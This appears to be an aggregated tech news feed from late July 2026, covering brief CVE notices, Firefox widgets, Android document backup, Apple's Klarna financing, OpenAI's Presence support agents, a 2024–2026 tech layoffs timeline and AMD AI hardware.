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How I stopped being my parents' emergency IT hotline — The complete list of Windows Security settings I made them fix once and for all

Sun, 26 Jul 2026 15:22:39 +0200

Windows security and the bad actors who threaten it are constantly evolving, and it's not easy for those who don't live in Windows to keep up. Rather than fixing issues as they pop up, I created a proactive Windows Security cheat sheet for my parents and family to follow.

CVE-2026-64804 | JetBrains WebStorm 2021.1/2024.3 code injection (WID-SEC-2026-2507)

Sun, 26 Jul 2026 14:04:32 +0200

A vulnerability was found in JetBrains WebStorm 2021.1/2024.3. It has been declared as problematic. This impacts an unknown function. Such manipulation leads to code injection. This vulnerability is documented as CVE-2026-64804. The attack can be executed remotely. There is not any exploit available. It is recommended to upgrade the affected component.

CVE-2026-64806 | JetBrains WebStorm 2021.1/2024.3 Interpreter code injection (WID-SEC-2026-2507)

Sun, 26 Jul 2026 14:04:31 +0200

A vulnerability has been found in JetBrains WebStorm 2021.1/2024.3 and classified as problematic. The affected element is an unknown function of the component Interpreter. The manipulation leads to code injection. This vulnerability is listed as CVE-2026-64806. The attack may be initiated remotely. There is no available exploit. The affected component should be upgraded.

Arbeitsschutz: BAG-Urteil erschüttert Schulungs-Nachweise - ad-hoc-news.de

Sun, 26 Jul 2026 13:48:53 +0200

Die Ergebnisse der USENIX Security 2024 legen nahe, dass fehlerhafte ... IT-Sicherheit senken können. Noch brisanter: Laut einer Analyse der ...

CVE-2024-14040 | Linux Kernel nexthop weight/resvd1 allocation of resources (EUVD-2024-55701)

Sun, 26 Jul 2026 13:38:57 +0200

A vulnerability was found in Linux Kernel and classified as very critical. The impacted element is an unknown function of the component nexthop. Such manipulation of the argument weight/resvd1 leads to allocation of resources. This vulnerability is traded as CVE-2024-14040. The attack may be launched remotely. There is no exploit available. It is advisable to implement a patch to correct this issue.

Sullivan’s Crossing Season 5 Release Date: Everything You Need to Know

Sun, 26 Jul 2026 08:54:08 +0200

Sullivan’s Crossing Season 5 is officially happening, although Netflix viewers will probably need to wait until 2027 to watch the next chapter of Maggie and Cal’s story. CTV renewed the romantic drama for a fifth season in June 2026, describing it as the network’s number-one original drama. Production is scheduled to begin in Nova Scotia during summer 2026, while an exact premiere date and episode count remain unconfirmed. Renewal status: Officially renewed by CTV Expected filming period: Summer 2026 Likely CTV premiere: Spring 2027 Expected episode count: Around 10 episodes Genre: Romantic drama and medical drama Filming location: Nova Scotia, Canada Expected Netflix release: Summer 2027 The spring 2027 estimate follows the show’s recent release pattern. Seasons 3 and 4 arrived during the spring, while the fourth season contained 10 one-hour episodes. Where the story is heading Spoilers for the Sullivan’s Crossing Season 4 finale follow. Season 4 ended with Cal proposing to Maggie, but viewers did not hear her answer. Tracy interrupted the moment by asking Maggie and Cal to take her in, leaving the couple’s engagement and immediate future unresolved. Season 5 should return to Maggie’s decision and examine whether she and Cal can finally build a stable life together. Their relationship faced another major test during Season 4 after Liam, Maggie’s former husband, arrived and revealed more about their complicated past. Earlier seasons followed Maggie as she returned to Sullivan’s Crossing after legal trouble disrupted her medical career. Her time at the campground helped her rebuild her relationship with her father, Sully, while her friendship with Cal slowly developed into a romance. Season 5 will have a new showrunner The series will also experience a creative change behind the scenes. Creator Roma Roth will remain involved as an executive producer, while Floyd Kane takes over as showrunner for Season 5. Morgan Kohan and Chad Michael Murray are expected to return as Maggie and Cal. However, the complete cast has not been announced. Scott Patterson, who played Sully during the first three seasons, is also not currently expected to return. When should Season 5 arrive on Netflix? Netflix has not announced a Season 5 release date. Season 4 joined Netflix on June 30, 2026, shortly after its television finale aired on June 22. Based on that schedule, Sullivan’s Crossing Season 5 should reach Netflix a few weeks after its 2027 television finale. A release between June and August 2027 appears most likely, provided the new season premieres during spring. Season 4 recently reached Netflix’s global Top 10 with 1.3 million views during the week of July 13 to July 19, giving the streaming service another reason to carry the next season. Do you think Maggie will accept Cal’s proposal, or will Tracy’s arrival change their plans? Let us know what you expect from Sullivan’s Crossing Season 5 in the comments.

Firefox's New Tab Page Will Get Widgets - Including an AI-Powered Daily Crossword

Sun, 26 Jul 2026 07:16:12 +0200

In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports: The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After solving the crossword, links appear to related news articles...] If you just want to try the crossword, you access it in any browser via a direct link. While it may look like Mozilla is trying to capitalise on the Wordle craze several years too late, it's part of its strategy to make the Firefox new tab page a discover destination in itself, not just a springboard for new searches. The 'Daily Grind' crossword widget (name subject to change) is just one of several widgets Firefox has (or will get). You'll also find a to-do list, timer, stock checker, world clock, picture of the day, privacy report and new-look weather widget (bigger than the existing one). During the World Cup 2026, Firefox offered real-time match scores and fixture information too... [T]hey aren't mandatory. You can disable the ones you don't want to use, or, if you don't want any at all, turn them all off to hide the widget area itself. A button to 'show fewer widgets' frees up room to allow other distractions (sponsored stories) on the new tab page to show... [Presumably you can also still open new tabs to a blank page...] They're rolling out to users in certain region and locales already. Plus, Mozilla routinely tests new features with a small set of users before they hit stable builds (i.e., the "Allow Firefox to run feature studies" setting). If you don't have widgets in your Firefox build, but you want them, you can manually enable them in Firefox 153 and later from the about:config page. Search for the following master switch and set it to true to enable the widget area: browser.newtabpage.activity-stream.widgets.system.enabled Then, enable the widgets you want to use by searching: activity-stream.widgets.*.enabled However, the usual caveats about "trying things not enabled by default" still apply. Mozilla hasn't set a firm rollout date, though the feature is already documented on its support site. With fortnightly Firefox releases about to start, and a big Nova redesign, chances are we'll all be puzzling over these widgets sooner rather than later.

How sovereign is Europe's space industry?

Sun, 26 Jul 2026 07:02:56 +0200

As space becomes an increasingly important part of global communications, national security, and critical infrastructure, European governments are confronting a difficulty: How much control do they need over their own space capabilities? In this week’s episode, host Maria Varmazis sits down with producer Ethan Cook⁠⁠⁠ to examine the growing push for European space sovereignty and the challenges standing in the way. The conversation explores how supply-chain dependencies can undermine national and regional independence, even when satellites and launch systems are built domestically. Additionally, the two also discuss the trade-offs between complete self-sufficiency and maintaining resilient, diversified international partnerships.

Software-Rückbau im Sommerloch

Sun, 26 Jul 2026 06:31:31 +0200

Das Abflachen des operativen Geschäfts im Sommer bietet IT-Managern das ideale Zeitfenster, um ungenutzte Lizenzen und Altsysteme systematisch abzuschalten.

Tags: #Software

Firefox' New Tab Page Will Get Widgets - Including an AI-Powered Daily Crossword

Sun, 26 Jul 2026 06:31:16 +0200

Malvertising Sends Malware in Pieces, Then Makes the Browser Build the Executable

Sat, 25 Jul 2026 22:16:14 +0200

A malvertising operation dubbed SourTrade is making victims' browsers build the final Windows executable themselves, using a legitimate Bun runtime as its base instead of serving one complete malicious file from a fixed URL. Confiant, which detailed the campaign on July 23, 2026, said it has operated since late 2024 and impersonated TradingView, Solana, and Luno to target retail traders and

Google basically confirms the Pixel 11 is getting a price hike

Sat, 25 Jul 2026 20:30:26 +0200

Google's Vice President of Devices and Services, Shakil Barkat, all but confirmed in an interview with 9to5 Google that its next Pixel phone would cost more than the Pixel 10. Considering the ongoing RAM supply issues due to the explosion of AI data centers, the rumored price hike is not a complete surprise. Companies from […]

Your instant Android backup upgrade

Sat, 25 Jul 2026 19:50:10 +0200

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

Own nothing, upgrade everything: Apple’s new Klarna deal

Sat, 25 Jul 2026 19:50:09 +0200

Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.

This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.

Moving closer to hardware-as-a-service

Apple has slowly been transitioning toward hardware-as-a-service for almost a decade. Back then, Forrester analyst Frank Gillet predicted the company would eventually offer bundles of services and products for a monthly, all-in, fee.

This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.

There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable.

Easy payments for RAM-ageddon

The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has previously rejected these plans to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.

“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by Computerworld. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.”

New age, new shopping habits

The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s good enough for GM, it’s good enough for Apple.

It’s all about attitude, too. From Apple’s perspective, it has done plenty of the groundwork required to convince its customers that subscription payments for things you value are no bad thing.

Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and CEO Tim Cook — first began banging the drum for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of more than 2.5 billion devices globally.

A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me.

There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can’t afford to own.

Managing future risk

The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.

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OpenAI Presence raises new questions about enterprise automation and jobs

Sat, 25 Jul 2026 19:50:08 +0200

OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.

Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.

OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.

Workforce impact

OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”

Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.

However, Lian Jye Su, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but integration and governance,” Jain added.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

This article first appeared on CIO.

Tech layoffs: A 2026 timeline

Sat, 25 Jul 2026 19:50:08 +0200

Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.

But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.

According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.

Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.

Notable tech layoffs in 2026

Monday.com
Microsoft
Meta
Cisco
Cloudflare
Oracle
Atlassian
Salesforce
Amazon
Ericsson

July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era

The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.

July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams

As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.

June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024

AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.

May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce

The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.

May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking

Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.

May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring

About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.

April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk

Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)

March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion

Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.

March 11, 2026: Tech layoffs surpass 45,000 in early 2026

A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.

February 10, 2026: Salesforce lays off staffers as executive leadership churn continues

Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.

January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent

As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.

January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden

Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.

January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business

Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.

Layoffs in 2025

Cisco
Oracle
Windsurf
Intel
Microsoft
Crowdstrike
HPE
Autodesk
HPE
CISA
Workday
Salesforce
Meta

Global tech-sector layoffs surpass 244,000 in 2025

Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.

October 28, 2025: Amazon to cut 14,000 jobs across company

Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.

August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs

Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date

August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door

Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.

July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’

Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker

July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs

Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales.

July 2, 2025: Microsoft will cut 9,000 workers

Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC. The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.

June 17, 2025: Intel looks to factory layoffs to return to profitability

Intel will lay off up to 20% of its manufacturing sector employees starting in July, according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.

May 7, 2025: CrowdStrike to lay off 5% of staff

CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs

March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy

CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.

Feb. 27, 2025: Autodesk to lay off 9% of workforce

Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there.

Feb. 27, 2025: HP to lay off 2,000 more

As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on.

Feb. 21, 2025: CISA lays off 130

Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.

Feb. 5, 2025: Workday lays off 1,750

As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.

Feb. 4, 2025: Salesforce lays off over 1,000

At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.

Jan. 14, 2025: Meta will lay off 5% of workforce

Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.

Tech layoffs in 2024

Equinix
AMD
Freshworks
Cisco
General Motors
Intel
OpenText
Microsoft
AWS
Dell

Nov. 26, 2024: Equinix to cut 3% of staff

Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.

Nov. 13, 2024: AMD to cut 4% of workforce

AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings.

Nov. 7, 2024: Freshworks lays off 660

Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.

Sept. 17, 2024: Cisco lays off 6,000

After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security.

Aug. 20, 2024: General Motors lays off 1,000 software staff

More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.

August 1, 2024: Intel removes 15,000 roles

Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”

July 4, 2024: OpenText to lay off 1,200

OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.

June 4, 2024: Microsoft lays off staff in Azure division

Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.

April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round

Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores.

April 1, 2024: Dell acknowledges 13,000 job cuts

Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.

See news of earlier layoffs.

AMD raises the AI stakes with Helios, Venice and robotics

Sat, 25 Jul 2026 19:50:07 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

